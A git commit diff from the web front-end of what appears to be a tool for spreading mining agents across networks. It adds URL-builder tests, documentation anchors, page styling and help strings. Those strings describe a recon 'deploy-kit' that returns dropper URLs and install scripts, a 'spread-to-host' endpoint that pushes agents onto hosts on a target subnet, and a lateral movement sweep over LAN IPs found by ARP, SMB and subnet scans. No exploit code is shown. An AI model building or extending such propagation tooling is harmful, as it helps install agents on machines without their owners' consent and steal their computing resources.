Polish Deploy Recon page scan UX and Crucible cross-links.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 11:24:32 -07:00
parent f3e5a9a07d
commit 1560ca9489
14 changed files with 156 additions and 19 deletions

View File

@@ -9,6 +9,16 @@ import {
} from './deployRecon';
import type { ReconScanReport } from '../types/recon';
describe('crucibleSpreadLink', () => {
it('builds reconHost spread tab URL', () => {
expect(crucibleSpreadLink('10.1.2.50')).toBe('/crucible?reconHost=10.1.2.50&tab=spread');
});
it('includes finding when provided', () => {
expect(crucibleSpreadLink('10.1.2.50', 'winrm')).toContain('finding=winrm');
});
});
describe('deployRecon helpers', () => {
it('maps scan form to API body', () => {
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
@@ -55,8 +65,4 @@ describe('deployRecon helpers', () => {
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
});
it('crucible spread link encodes host and tab', () => {
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
});
});

View File

@@ -140,6 +140,10 @@ export const DOC_ANCHORS: Record<string, string> = {
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
crucible_node_roster: '/docs/#dashboard',
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
crucible_recon_host: '/docs/SPREAD_TECHNIQUES.html#lan',
recon_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
fleet_spread_to_host: '/docs/SPREAD_TECHNIQUES.html#lan',
ew_crucible_recon_link: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',

View File

@@ -205,6 +205,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
gridDrift: 90,
palette: 'dim',
},
'/deploy-recon': {
vibe: 'emberwake-pulse',
intensity: 0.7,
speed: 0.48,
pulse: 1.1,
density: 0.82,
linkStrength: 0.65,
layerOpacity: 0.52,
orbDrift: 11,
gridDrift: 42,
palette: 'campaign',
},
'/browser-spread': {
vibe: 'emberwake-pulse',
intensity: 0.7,
speed: 0.48,
pulse: 1.1,
density: 0.82,
linkStrength: 0.65,
layerOpacity: 0.52,
orbDrift: 11,
gridDrift: 42,
palette: 'campaign',
},
};
export function resolvePageWeather(pathname: string): PageWeatherConfig {

View File

@@ -148,6 +148,8 @@ describe('FIELD_HELP', () => {
'forge_operation_mode',
'forge_path_forge',
'aws_erasure_swarm',
'recon_deploy_kit',
'fleet_spread_to_host',
] as const;
it('defines help text for every documented field key', () => {

View File

@@ -200,4 +200,8 @@ export const FIELD_HELP: Record<string, string> = {
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
aws_erasure_swarm:
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
recon_deploy_kit:
'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
fleet_spread_to_host:
'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.',
};

View File

@@ -98,6 +98,8 @@ describe('UI_HELP', () => {
'ew_war_room_leak',
'ew_cloud_aws',
'ew_cloud_generic',
'ew_crucible_recon_link',
'crucible_recon_host',
'crucible_btn_spread_now',
'crucible_btn_subnet_scan',
'crucible_btn_hole_punch',

View File

@@ -200,6 +200,11 @@ export const UI_HELP: Record<string, string> = {
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
ew_cloud_generic:
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
ew_crucible_recon_link:
'Cross-link to Crucible with ?reconHost= — opens the spread tab, loads GET /api/v1/recon/deploy-kit, and shows spread-to-unreachable-host when no fleet agent matches the IP.',
crucible_recon_host:
'Query param ?reconHost= pre-filters the roster to matching IP/hostname and opens Spread ops. When the host has no online agent, use manual IP target + Spread to host (POST /api/v1/fleet/spread-to-host).',
crucible_btn_spread_now:
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',